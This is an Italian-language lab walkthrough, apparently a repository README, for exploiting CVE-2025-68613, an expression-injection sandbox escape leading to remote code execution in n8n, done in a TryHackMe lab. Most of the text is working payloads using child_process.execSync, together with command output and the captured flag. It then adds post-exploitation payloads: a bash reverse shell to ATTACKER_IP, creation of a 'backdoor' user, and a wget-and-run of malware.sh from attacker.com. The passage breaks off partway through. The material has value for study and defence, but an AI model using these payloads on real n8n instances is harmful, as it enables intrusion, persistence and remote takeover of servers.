
Guida didattica per lo sfruttamento di CVE-2025-68613, una RCE critica in n8n workflow automation. Copre l'iniezione di espressioni, l'escape dalla sandbox, lo sviluppo di payload e le strategie di rilevamento tramite un laboratorio TryHackMe.
Questo repository documenta uno sfruttamento pratico di CVE-2025-68613 (CVSS 9.9), una vulnerabilità critica di esecuzione remota di codice che colpisce la piattaforma di automazione dei flussi di lavoro n8n (versioni dalla 0.211.0 alla 1.120.3).
Questo sfruttamento è stato eseguito eticamente in un ambiente di laboratorio TryHackMe controllato esclusivamente a scopo educativo.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2025-68613 |
| Punteggio CVSS | 9.9 (Critico) |
| Pubblicata | 19 dicembre 2025 |
| Prodotto interessato | Piattaforma di automazione flussi di lavoro n8n |
| Tipo di vulnerabilità | Expression Injection → Sandbox Escape → RCE |
| Vettore di attacco | Utente autenticato (predefinito) |
| Versioni corrette | 1.120.4, 1.121.1, 1.122.0+ |
| Versioni affette | 0.211.0 - 1.120.3 |
n8n è una piattaforma di automazione dei flussi di lavoro open-source che consente agli utenti di connettere visivamente applicazioni e servizi per l'automazione di attività. Offre:
{{ }} valutate come JavaScriptLa vulnerabilità risiede nel sistema di valutazione delle espressioni del flusso di lavoro di n8n. Quando utenti autenticati configurano flussi di lavoro, il loro input viene elaborato come codice JavaScript senza un adeguato sandboxing.
Sandbox delle espressioni
↓ (escape via 'this')
Contesto globale Node.js
↓ (accesso a mainModule)
Sistema dei moduli (require)
↓ (carica child_process)
Esecuzione di comandi di sistema
{{ }} vengono valutate come JavaScript grezzo senza un adeguato isolamento del contestothis consente di eludere le restrizioni del sandbox previsteprocess.mainModule.require() fornisce accesso al sistema di moduli Node.jschild_process per l'esecuzione di comandi di sistema(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Spiegazione:
this → oggetto globale Node.jsthis.process → oggetto processo Node.jsprocess.mainModule → modulo principale dell'applicazione n8n.require('child_process') → carica il modulo di esecuzione dei comandi di sistema.execSync('COMMAND') → esegue il comando shell in modo sincrono.toString() → converte l'output Buffer in stringa leggibileAccedi all'istanza n8n vulnerabile e accedi con credenziali valide.
Credenziali del laboratorio:
[email protected]Try12345!
Dopo l'accesso, ti viene presentata l'interfaccia di creazione del flusso di lavoro. Fai clic su "Inizia da zero" per iniziare un nuovo flusso di lavoro.

Fai clic su "Aggiungi primo passo" e cerca "Trigger manuale". Questo nodo funge da punto di ingresso per l'esecuzione del flusso di lavoro.

Scopo: Il nodo Trigger manuale consente l'esecuzione manuale del flusso di lavoro tramite il pulsante "Esegui flusso di lavoro" nell'interfaccia utente, rendendolo ideale per i test.
Aggiungi un nodo "Modifica campi" per eseguire il mapping dei campi. Qui è dove viene sfruttata la vulnerabilità.

Passaggi di configurazione:
idInietta il payload per eseguire il comando id e recuperare le informazioni sull'utente/privilegi.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Risultato:
uid=1000(node) gid=1000(node) groups=1000(node)

Informazioni raccolte:
lsModifica il payload per eseguire il comando ls ed elencare il contenuto della directory.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Output mostra:
flag.txtLeggi il file flag usando il comando cat per completare lo sfruttamento.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag recuperato:
THM{n8n_exposed_workflow}

Stabilisci l'accesso interattivo alla shell per un controllo persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Aggiungi un nuovo utente di sistema per accesso persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Recupera ed esegui codice remoto:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Controlla i privilegi sudo: